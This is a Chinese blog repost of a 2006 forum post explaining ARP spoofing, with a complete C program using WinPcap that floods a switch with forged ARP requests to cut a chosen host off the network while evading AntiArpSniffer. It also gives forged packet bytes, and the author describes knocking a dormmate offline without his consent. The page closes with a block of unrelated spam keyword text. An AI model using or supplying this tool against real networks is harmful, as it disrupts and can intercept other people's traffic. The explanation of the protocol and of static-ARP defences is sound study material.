• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            life is game

            (本色)
            posts - 11, comments - 4, trackbacks - 0, articles - 0
              C++博客 :: 首頁(yè) :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

            Arp欺騙

            Posted on 2006-12-31 18:23 原色 閱讀(303) 評(píng)論(0)  編輯 收藏 引用
            標(biāo) 題: arp欺騙DIY
            作 者: enolaZ
            時(shí) 間: 2006-10-20,13:25
            鏈 接: http://bbs.pediy.com/showthread.php?threadid=33573

            前段時(shí)間我們學(xué)校的的網(wǎng)絡(luò)總是出現(xiàn)掉線的問(wèn)題,后來(lái)說(shuō)是ARP欺騙,要我們用ANTIARPSNIFFER。小弟不才,

            也想搞清楚這個(gè)ARP欺騙到底是個(gè)什么東西。于是在網(wǎng)上查了點(diǎn)資料,看了點(diǎn)文檔。也算是DIY了一個(gè)出來(lái),而

            且可以不被ANTIARPSNIFFER發(fā)現(xiàn)的讓對(duì)方主機(jī)在網(wǎng)絡(luò)中死掉。于是把這個(gè)小東西貼出來(lái)讓大家一起把玩一下。
            ???在下菜鳥(niǎo)一只,還請(qǐng)高手指教
            參考資料:《TCP/IP詳解II:實(shí)現(xiàn)》,《WINPCAP?3.0?DOC》,《交換網(wǎng)絡(luò)中的嗅探和ARP欺騙》(一位叫RefDom

            的大哥很久前寫(xiě)的帖子)

            ???一般在局域網(wǎng)中的各主機(jī)一般都是連接到同一個(gè)交換機(jī)(或是HUB),再由交換機(jī)連接路由器,路由器再與

            相對(duì)于該局域網(wǎng)的外部網(wǎng)絡(luò)相連。在我們的主機(jī)和交換機(jī)的內(nèi)存中,都保留著一張ARP的緩存表(你可以在cmd

            下用arp?-a來(lái)查看),它記錄著IP地址和MAC地址的對(duì)應(yīng)關(guān)系。當(dāng)外部網(wǎng)絡(luò)的一個(gè)包傳進(jìn)來(lái),交換機(jī)通過(guò)這個(gè)包

            的IP地址,在他的ARP緩存表中查找其對(duì)應(yīng)的MAC地址(因?yàn)榻粨Q機(jī)是工作在鏈路層的,所以他只會(huì)根據(jù)MAC地址

            來(lái)判斷是哪個(gè)主機(jī)),當(dāng)找到時(shí),他就把這個(gè)包傳給擁有這個(gè)MAC地址的主機(jī)。當(dāng)主機(jī)向外部網(wǎng)絡(luò)通信的時(shí)候,

            主機(jī)查詢自己的ARP緩存表里網(wǎng)關(guān)(在這里就是交換機(jī))(這個(gè)網(wǎng)關(guān)是用IP地址確定的)的MAC地址,然后將包

            傳給交換機(jī),交換機(jī)一看是它的MAC地址,就把這個(gè)包往上傳給路由器。
            ???我們可以把IP比做姓名,把MAC地址比做聯(lián)系方式
            ???當(dāng)主機(jī)連接上網(wǎng)絡(luò)時(shí),他會(huì)發(fā)送一個(gè)廣播(ARP?REQUEST)說(shuō):大家好,我是IP?xxx,這是我的MAC地址aaa,

            大家以后用他聯(lián)系,叫IP?YYY的網(wǎng)關(guān)大哥的MAC地址是多少啊?,小弟以后找還要拜托大哥了,記個(gè)聯(lián)系方式先~
            ???然后網(wǎng)關(guān)IP?YYY告訴IP?XXX說(shuō)(ARP?REPLY):我就是網(wǎng)關(guān)IP?XXX,我已經(jīng)記下了你IP和你的MAC地址,我的

            MAC地址是ccc,以后有事聯(lián)系,別客氣~

            ???現(xiàn)在,假如出現(xiàn)了一些不明原因的錯(cuò)誤,主機(jī)A中的arp緩存表中網(wǎng)關(guān)IP?YYY對(duì)應(yīng)的MAC地址不是網(wǎng)關(guān)的,而

            是另一臺(tái)主機(jī)B的(BBB),那么當(dāng)主機(jī)A發(fā)送了一個(gè)包時(shí),他查詢自己的ARP緩存表,把主機(jī)B的MAC地址填在了

            網(wǎng)關(guān)的地方,然后把包發(fā)了出去,交換機(jī)一看這個(gè)MAC地址,心想這不是給我的小弟B的嗎,于是把這個(gè)包發(fā)給

            了內(nèi)網(wǎng)中的B,而主機(jī)A卻不知道這個(gè)包已經(jīng)迷失在了網(wǎng)絡(luò)中。
            ??再假設(shè)另一個(gè)錯(cuò)誤,現(xiàn)在主機(jī)中的arp緩存表沒(méi)錯(cuò),而交換機(jī)的緩存錯(cuò)了,主機(jī)A的IP對(duì)應(yīng)的MAC地址上填的是

            主機(jī)B的!,那么當(dāng)外部網(wǎng)絡(luò)的一個(gè)發(fā)給主機(jī)A的包到達(dá)交換機(jī)的時(shí)候,交換機(jī)查自己的ARP緩存表,一看這個(gè)IP

            (A的)對(duì)應(yīng)了自己內(nèi)網(wǎng)中一個(gè)主機(jī)的MAC地址?(B的),于是就把這個(gè)包傳給了擁有這個(gè)MAC地址的B,而不是A


            ???另外還有一點(diǎn)很重要的是,ARP協(xié)議中,無(wú)論主機(jī)A有沒(méi)有REQUEST或是已經(jīng)收到了REPLY,當(dāng)再有REPLY來(lái)的

            時(shí)候,它都會(huì)記下這個(gè)REPLY中的信息,并更新自己的ARP緩存。同樣交換機(jī),也只要是有主機(jī)發(fā)送ARP?REQUEST

            ,他就會(huì)記下這個(gè)信息,并更新自己的ARP緩存,而不會(huì)管這個(gè)請(qǐng)求是對(duì)是錯(cuò)

            ???原諒我說(shuō)了這么多晦澀的話,但這決不是廢話,因?yàn)樗^的arp欺騙就是將上面所說(shuō)的兩個(gè)錯(cuò)誤人為的造成


            ??第一種欺騙方法:欺騙主機(jī)A說(shuō),我是網(wǎng)關(guān)IP?YYY,我的MAC地址改成BBB了,于是主機(jī)A就出現(xiàn)了我們剛說(shuō)的

            第一種情況的錯(cuò)誤。
            ??第二種欺騙方法:欺騙交換機(jī)說(shuō),我是主機(jī)A?IP?XXX,我的MAC地址是BBB,于是交換機(jī)出現(xiàn)了我們說(shuō)的第二

            種情況的錯(cuò)誤。

            ??既然要騙人家,就要讓別人相信你說(shuō)的是真的,首先我們要符合ARP包的格式,另外我們要讓該真的地方真,

            這樣別人才會(huì)相信你說(shuō)的假話。
            ??先來(lái)看下ARP包是個(gè)什么樣的(TCP/IP詳解II圖21-7有詳細(xì)說(shuō)明,大家可以查查看)
            ?typedef?struct?ethhdr???????????????//以太網(wǎng)頭部,長(zhǎng)度14
            {
            ??unsigned?char?dst[6];???????//目的的MAC地址
            ??unsigned?char?src[6];???????//源的MAC地址
            ??unsigned?short?type;????????//幀類(lèi)型
            }ETHHDR,*PETHDHR;

            typedef?struct?eth_arphdr???????????//以太網(wǎng)arp字段長(zhǎng)度28
            {
            ??unsigned?short?arp_hrd;?????//硬件類(lèi)型
            ??unsigned?short?arp_pro;?????//協(xié)議類(lèi)型
            ??unsigned?char??arp_hln;?????//硬件地址長(zhǎng)度(6)
            ??unsigned?char??arp_pln;?????//協(xié)議地址長(zhǎng)度(4)
            ????????unsigned?short?arp_op;??????//回應(yīng)還是請(qǐng)求
            ?
            ??unsigned?char?arp_sha[6];???//發(fā)送者M(jìn)AC地址
            ??unsigned?long?arp_spa;??????//發(fā)送者IP
            ??unsigned?char?arp_tha[6];???//接收者M(jìn)AC地址
            ??unsigned?long?arp_tpa;??????//接收者IP
            }ETH_ARPHDR,*PETH_ARPHDR;

            typedef?struct?arp??????????????????//整個(gè)ARP包的結(jié)構(gòu)
            {
            ????ETHHDR?ethhdr;
            ????ETH_ARPHDR?eth_arp;
            }ARP,*PARP;??


            ??現(xiàn)在我們?cè)賮?lái)看下arp?request?和arp?reply到底是個(gè)什么樣子。
            ??我打開(kāi)了winpcap?devlopment?pack中的一個(gè)例子程序TestApp,他帶有很簡(jiǎn)單的嗅探功能,然后我用
            arp?-d?10.10.63.254(我的網(wǎng)關(guān)IP地址),清除了我的ARP緩存表中網(wǎng)關(guān)的記錄,過(guò)一下,我再用arp?-a查看自

            己的緩存表,網(wǎng)關(guān)的IP,MAC又寫(xiě)上來(lái)了,這說(shuō)明一次REQUEST和REPLY已經(jīng)完成。于是,我在TestApp的輸出中

            找到了他們的包的記錄:
            我的IP地址是10.10.63.37(即0a?0a?3f?25),MAC地址是00?20?ED?89?53?B9
            我的網(wǎng)關(guān)的IP地址是10.10.63.254(即0a?0a?3f?fe),MAC地址是00?11?5d?ac?e8?00

            request的:長(zhǎng)度42
            ????FF?FF?FF?FF?FF?FF?00?20?ED?89?53?B9?08?06?00?01?08?00?06?04?00?01?00?20?ED?89?53?B9?0A?0A?3F?

            25?00?00?00?00?00?00?0A?0A?3F?FE
            reply的:??長(zhǎng)度60
            ????00?20?ED?89?53?B9?00?11?5D?AC?E8?00?08?06?00?01?08?00?06?04?00?02?00?11?5D?AC?E8?00?0A?0A?3F?

            FE?00?20?ED?89?53?B9?0A?0A?3F?25?00?00?00?00?00....(后面都是用0填充)
            ?
            好了根據(jù)這兩個(gè)包,我們就能構(gòu)造惡意的REQUEST和REPLY,假如我們要讓一臺(tái)內(nèi)網(wǎng)中的主機(jī)C消失,假設(shè)他的IP

            是10.10.63.123,MAC地址是11?22?33?44?55?66那么我們可以這樣來(lái)構(gòu)造包(我們使用一個(gè)偽造的MAC地址,比

            如是AA?BB?CC?DD?EE?FF
            惡意的request:長(zhǎng)度42
            ????FF?FF?FF?FF?FF?FF?AA?BB?CC?DD?EE?FF?08?06?00?01?08?00?06?04?00?01?AA?BB?CC?DD?EE?FF?0A?0A?3F?

            7B?00?00?00?00?00?00?0A?0A?3F?FE
            當(dāng)交換機(jī)接受了這個(gè)請(qǐng)求并更新了自己的ARP緩存后,任何發(fā)給10.10.63.123的包都會(huì)轉(zhuǎn)發(fā)到MAC地址是
            AA?BB?CC?DD?EE?FF的主機(jī)(假如這個(gè)主機(jī)才內(nèi)網(wǎng)中存在的話)
            惡意的reply?:長(zhǎng)度60
            ????11?22?33?44?55?66?AA?BB?CC?DD?EE?FF?08?06?00?01?08?00?06?04?00?02?AA?BB?CC?DD?EE?FF?0A
            0A?3F?FE?11?22?33?44?55?66?0A?0A?EF?7B?00?00?00?00?00.....(后面用0填充)
            當(dāng)主機(jī)接受到了這個(gè)包,并更新了自己的ARP緩存后,他所發(fā)的任何包都會(huì)轉(zhuǎn)發(fā)給擁有這個(gè)MAC地址的主機(jī)(同

            上,這個(gè)主機(jī)必須存在)。
            ???現(xiàn)在假如交換機(jī)和主機(jī)都被欺騙了,于是就出現(xiàn)了這樣的一個(gè)情況:主機(jī)A和其他主機(jī)或是外部網(wǎng)絡(luò)的一切

            通信就都會(huì)傳給這個(gè)偽造MAC的主機(jī),而如果這個(gè)主機(jī)再將這些包轉(zhuǎn)發(fā)給原來(lái)的接收方的話,他就成了THE?

            MIDDLE?MAN,而這種方式也正是交換機(jī)網(wǎng)絡(luò)中的嗅探原理了。有興趣的話,大家也可以寫(xiě)個(gè)試試~

            ???現(xiàn)在回到我們的話題上來(lái),當(dāng)我們自己的網(wǎng)絡(luò)中出現(xiàn)了類(lèi)似的欺騙的時(shí)候,我們應(yīng)該怎么防范?很多人估計(jì)

            都會(huì)想到用專(zhuān)門(mén)的軟件,比如ANTIARPSNIFFER3.0,這個(gè)軟件實(shí)際是將網(wǎng)關(guān)的IP地址和MAC地址的對(duì)應(yīng)關(guān)系綁定

            ,當(dāng)接受到一個(gè)ARP?REPLY時(shí)他會(huì)查看這個(gè)包中發(fā)送方的IP和MAC地址,如果IP是網(wǎng)關(guān)的,而MAC地址不是,那他

            就認(rèn)為這是個(gè)ARP欺騙,于是記錄這個(gè)假的MAC地址(當(dāng)然我們可以偽造,如果你想架禍人的話,也可以填別人

            的...,但如果你是想嗅探(即是你自己的MAC地址),那么你可能會(huì)在某天被一群人抓出去暴打一頓...,為什

            么我們生活的世界這么暴力,不能和平解決呢?額...我請(qǐng)大哥們吃頓飯?jiān)趺礃樱浚浚?br />???ANTIARPSNIFFER可以有效的阻止發(fā)送給主機(jī)的欺騙REPLY,但他無(wú)法阻止發(fā)送給交換機(jī)的欺騙REQUEST,因此

            也就無(wú)法捕獲惡意攻擊者的MAC地址,所以我個(gè)人認(rèn)為站在攻擊的角度,第二種欺騙方式要比第一種來(lái)的更加有

            效和不易被發(fā)現(xiàn),畢竟誰(shuí)的會(huì)關(guān)注自身的安全,卻往往忽視社會(huì)整體的安全隱患....要想解決這個(gè)問(wèn)題,就必

            須把交換機(jī)的ARP緩存設(shè)為靜態(tài)(即將IP和MAC的對(duì)應(yīng)關(guān)系鎖死)(使用ARP?-S)來(lái)解決。然而,對(duì)于主機(jī)使用

            DHCP動(dòng)態(tài)獲取IP的網(wǎng)絡(luò)(比如我們學(xué)校的網(wǎng)絡(luò)),由于IP與MAC地址無(wú)法在長(zhǎng)時(shí)間內(nèi)保持一致,因此交換機(jī)的

            ARP緩存表必須是可更新的(即動(dòng)態(tài)),于是對(duì)于這種網(wǎng)絡(luò),發(fā)送欺騙REQUEST給交換機(jī)的攻擊方式將是無(wú)法解

            決的....
            ???也正因?yàn)榇耍宜帉?xiě)的一個(gè)測(cè)試程序是基于第二種攻擊方式(即發(fā)送加的ARP?REQUEST請(qǐng)求給交換機(jī))。

            由于是測(cè)試程序,我把一切可能出錯(cuò)的部分都做了最簡(jiǎn)化以方便調(diào)試,程序相當(dāng)簡(jiǎn)陋,不過(guò)仍然很有效。
            另外要說(shuō)明的是,我安裝了WINPCAP?3.0(一個(gè)OPEN?SOURCE的網(wǎng)卡驅(qū)動(dòng)項(xiàng)目)和他的開(kāi)發(fā)包。并參考了WINPCAP
            DOC中的程序和RefDom大哥在帖子里的程序,當(dāng)然還有偉大的W.Richard.Stevens的《TCP/IP詳解II實(shí)現(xiàn)》第21



            /////////////////////////////////////////////////////////////////////////////
            //????arp?attacker
            //????author:enolaZ
            //????e-mail:enolaz@126.com
            /////////////////////////////////////////////////////////////////////////////
            #include<stdio.h>
            #include"packet32.h"
            #include<winsock2.h>
            #pragma?comment(lib,"ws2_32")
            #pragma?comment(lib,"packet")

            #define?EPT_ARP?0x0806????????????????//定義了一些在構(gòu)造包的時(shí)候要用到的常量
            #define?EPT_IP?0x0800
            #define?ARP_HARDWARE?0X0001
            #define?ARP_REPLY?0x0002
            #define?ARP_REQUEST?0x0001

            #pragma?pack(push,1)????????????????//在定義結(jié)構(gòu)的時(shí)候一頂要用到pack(push,1)和下面的pack(pop)
            ????????????????????????????????????//否則你構(gòu)造的結(jié)構(gòu)的長(zhǎng)度會(huì)有問(wèn)題

            typedef?struct?ethhdr???????????????//以太網(wǎng)頭部,長(zhǎng)度14
            {
            ??unsigned?char?dst[6];???????//目的的MAC地址
            ??unsigned?char?src[6];???????//源的MAC地址
            ??unsigned?short?type;????????//幀類(lèi)型
            }ETHHDR,*PETHDHR;

            typedef?struct?eth_arphdr???????????//以太網(wǎng)arp字段長(zhǎng)度28
            {
            ??unsigned?short?arp_hrd;?????//硬件類(lèi)型
            ??unsigned?short?arp_pro;?????//協(xié)議類(lèi)型
            ??unsigned?char??arp_hln;?????//硬件地址長(zhǎng)度(6)
            ??unsigned?char??arp_pln;?????//協(xié)議地址長(zhǎng)度(4)
            ????????unsigned?short?arp_op;??????//回應(yīng)還是請(qǐng)求
            ?
            ??unsigned?char?arp_sha[6];???//發(fā)送者M(jìn)AC地址
            ??unsigned?long?arp_spa;??????//發(fā)送者IP
            ??unsigned?char?arp_tha[6];???//接收者M(jìn)AC地址
            ??unsigned?long?arp_tpa;??????//接收者IP
            }ETH_ARPHDR,*PETH_ARPHDR;

            typedef?struct?arp??????????????????//整個(gè)ARP包的結(jié)構(gòu)
            {
            ??ETHHDR?ethhdr;
            ????ETH_ARPHDR?eth_arp;
            }ARP,*PARP;

            #pragma?pack(pop)

            #define?Max_Num_Adapter?10

            char????????AdapterList[Max_Num_Adapter][1024];??//定義的網(wǎng)絡(luò)適配器列表

            int?main?(int?argc,char*?argv[])
            {
            ??LPADAPTER??lpAdapter?=?0;???????????????
            ??LPPACKET???lpPacket;
            ??int????????i;
            ??DWORD??????dwErrorCode;
            ??WCHAR?????AdapterName[8192];?
            ??WCHAR?????*temp,*temp1;?????????????????//將AdapterNames的內(nèi)容轉(zhuǎn)存到AdapterList時(shí)用
            ??int?????AdapterNum=0;
            ??ULONG?????AdapterLength;
            ??ARP?arpPacket;???????????????????????????//定義的包結(jié)構(gòu)實(shí)例
            ??char?szPktBuf[256000];???????????????????//用于存放包的內(nèi)容


            ????????printf("%d\n",sizeof(ETHHDR));???????????//這3行是我在測(cè)試結(jié)構(gòu)長(zhǎng)度時(shí)用的,如果沒(méi)有使用之
            ??printf("%d\n",sizeof(ETH_ARPHDR));???????//前說(shuō)的pack(push,1),pack(pop)長(zhǎng)度就成了14,32
            ??printf("%d\n",sizeof(ARP));??????????????//48,與我們的arp包的格式不符
            ??i=0;??
            ??AdapterLength?=?sizeof(AdapterName);
            ??if(PacketGetAdapterNames((char?*)AdapterName,&AdapterLength)==FALSE)//獲取所有網(wǎng)絡(luò)適配器
            ??{
            ????printf("Unable?to?retrieve?the?list?of?the?adapters!\n");
            ????return?-1;
            ??}
            ??temp=AdapterName;
            ??temp1=AdapterName;
            ??while?((*temp!='\0')||(*(temp-1)!='\0'))??????????//將AdapterNames的內(nèi)容轉(zhuǎn)存到AdapterList
            ??{
            ????if?(*temp=='\0')?
            ????{
            ??????memcpy(AdapterList[i],temp1,(temp-temp1)*2);
            ??????temp1=temp+1;
            ??????i++;
            ????}
            ????temp++;
            ??}
            ????
            ??AdapterNum=i;
            ??for?(i=0;i<AdapterNum;i++)
            ????wprintf(L"\n%d-?%s\n",i+1,AdapterList[i]);?//輸出獲得的所有網(wǎng)絡(luò)適配器
            ??printf("\n");??
            ??
            ??lpAdapter?=???PacketOpenAdapter(AdapterList[0]);???//得到對(duì)應(yīng)網(wǎng)絡(luò)適配器的_Adapter結(jié)構(gòu),我??

            ???????????????????????????????????????????????????????????//就一個(gè)當(dāng)然是0了??
            ??if?(!lpAdapter?||?(lpAdapter->hFile?==?INVALID_HANDLE_VALUE))
            ??{
            ????dwErrorCode=GetLastError();
            ????printf("Unable?to?open?the?adapter,?Error?Code?:?%lx\n",dwErrorCode);?
            ????return?-1;
            ??}??

            ????????lpPacket=PacketAllocatePacket();???????????????????????//得到一個(gè)包的_Packet結(jié)構(gòu)
            ??if(lpPacket==NULL)
            ??{
            ????printf("alloc?lppacket?failed");
            ????return?-1;
            ??}

            ????????ZeroMemory(szPktBuf,sizeof(szPktBuf));????????????????//將包的緩存區(qū)清空

            ??arpPacket.ethhdr.dst[0]=0xff;?????????????????????//開(kāi)始填充包結(jié)構(gòu)arpPacket
            ????????arpPacket.ethhdr.dst[1]=0xff;
            ??arpPacket.ethhdr.dst[2]=0xff;
            ??arpPacket.ethhdr.dst[3]=0xff;
            ??arpPacket.ethhdr.dst[4]=0xff;
            ??arpPacket.ethhdr.dst[5]=0xff;

            ??arpPacket.ethhdr.src[0]=0x00;?????????????????????//一個(gè)偽造的MAC地址
            ????????arpPacket.ethhdr.src[1]=0x20;
            ??arpPacket.ethhdr.src[2]=0xce;
            ??arpPacket.ethhdr.src[3]=0xa8;
            ??arpPacket.ethhdr.src[4]=0x54;
            ??arpPacket.ethhdr.src[5]=0x33;

            ??arpPacket.ethhdr.type=htons(EPT_ARP);
            ??arpPacket.eth_arp.arp_hrd=htons(ARP_HARDWARE);
            ??arpPacket.eth_arp.arp_pro=htons(EPT_IP);
            ??arpPacket.eth_arp.arp_hln=6;
            ??arpPacket.eth_arp.arp_pln=4;
            ??arpPacket.eth_arp.arp_op=htons(ARP_REQUEST);

            ??arpPacket.eth_arp.arp_sha[0]=0x00;????????????????????//仍然是假的MAC地址
            ??arpPacket.eth_arp.arp_sha[1]=0x20;
            ??arpPacket.eth_arp.arp_sha[2]=0xce;
            ??arpPacket.eth_arp.arp_sha[3]=0xa8;
            ??arpPacket.eth_arp.arp_sha[4]=0x54;
            ??arpPacket.eth_arp.arp_sha[5]=0x33;
            ??arpPacket.eth_arp.arp_spa=inet_addr("10.10.63.123");???//冒充對(duì)象的IP

            ????????arpPacket.eth_arp.arp_tha[0]=0x00;
            ??arpPacket.eth_arp.arp_tha[1]=0x00;
            ??arpPacket.eth_arp.arp_tha[2]=0x00;
            ??arpPacket.eth_arp.arp_tha[3]=0x00;
            ??arpPacket.eth_arp.arp_tha[4]=0x00;
            ??arpPacket.eth_arp.arp_tha[5]=0x00;
            ??arpPacket.eth_arp.arp_tpa=inet_addr("10.10.63.254");???//網(wǎng)關(guān)IP
            ????????printf("%d\n",sizeof(arpPacket));
            ??memcpy(szPktBuf,(char*)&arpPacket,sizeof(arpPacket));??
            ??PacketInitPacket(lpPacket,szPktBuf,60);????????????????
            ????????while(getchar()!='q')?????????????????????????????????????//當(dāng)輸入為q時(shí)結(jié)束
            ??{
            ????????if(PacketSendPacket(lpAdapter,lpPacket,true)==false)??//不斷發(fā)送偽造信息,將目標(biāo)的正確
            ??????????????????????????????????????????????????????????????//ARP?REQUEST淹沒(méi)
            ????{
            ????????printf("error?in?sending?packet");
            ????????return?-1;
            ????}
            ??}
            ??printf("send?ok");
            ??PacketFreePacket(lpPacket);????????//一點(diǎn)掃尾的工作
            ??PacketCloseAdapter(lpAdapter);

            ????return?1;
            }

            好了,這個(gè)異常簡(jiǎn)陋的程序結(jié)束了,我對(duì)我們內(nèi)部網(wǎng)的某同學(xué)測(cè)試過(guò),當(dāng)我程序啟動(dòng)不久,去他寢室看,他已

            經(jīng)掉線了,而他的AntiArpSniffer卻沒(méi)有報(bào)警,呵呵這說(shuō)明攻擊很成功~。
            當(dāng)然要說(shuō)明的一點(diǎn)是,這個(gè)東西完全是研究學(xué)習(xí)用,沒(méi)有惡意,也希望大家不要隨便對(duì)別人做壞事,恩恩,為

            了學(xué)習(xí)研究的目的當(dāng)然可以做一下實(shí)驗(yàn),但不要太有破壞性哦~(如果你想被一群憤怒的群眾痛打,那我也沒(méi)話

            說(shuō)...)。可憐了我那位實(shí)驗(yàn)對(duì)象?...找個(gè)機(jī)會(huì)請(qǐng)他吃個(gè)飯吧~


            只有注冊(cè)用戶登錄后才能發(fā)表評(píng)論。
            網(wǎng)站導(dǎo)航: 博客園   IT新聞   BlogJava   博問(wèn)   Chat2DB   管理


            无码任你躁久久久久久老妇| avtt天堂网久久精品| 久久亚洲国产精品123区| 国产伊人久久| 色妞色综合久久夜夜| 欧美精品久久久久久久自慰| 久久久久人妻一区精品色| 久久人人爽人人精品视频| 国产偷久久久精品专区| 久久99精品久久久久久| 久久精品国产亚洲av麻豆蜜芽| 久久久久久久久无码精品亚洲日韩| 国产99久久久国产精品~~牛| 狠狠色丁香久久婷婷综合| 精品久久久久一区二区三区| 色8久久人人97超碰香蕉987| 久久青青草原精品国产不卡| 精品熟女少妇a∨免费久久| 中文字幕无码久久久| 成人a毛片久久免费播放| 国产99久久精品一区二区| 99精品国产99久久久久久97| 久久久亚洲精品蜜桃臀| 99久久国产热无码精品免费久久久久 | 丰满少妇高潮惨叫久久久| 99久久这里只精品国产免费| 精品久久久久久无码中文字幕| 久久国产精品99久久久久久老狼| 色婷婷综合久久久久中文字幕| 国产精品熟女福利久久AV| 青青草国产成人久久91网| 亚洲精品乱码久久久久久久久久久久 | 伊人久久无码精品中文字幕| 国产精品va久久久久久久| 欧美亚洲国产精品久久蜜芽 | 91精品国产9l久久久久| 久久精品无码专区免费东京热| 午夜不卡久久精品无码免费| 亚洲AV无码久久精品蜜桃| 亚洲午夜无码AV毛片久久| 无码人妻久久一区二区三区蜜桃 |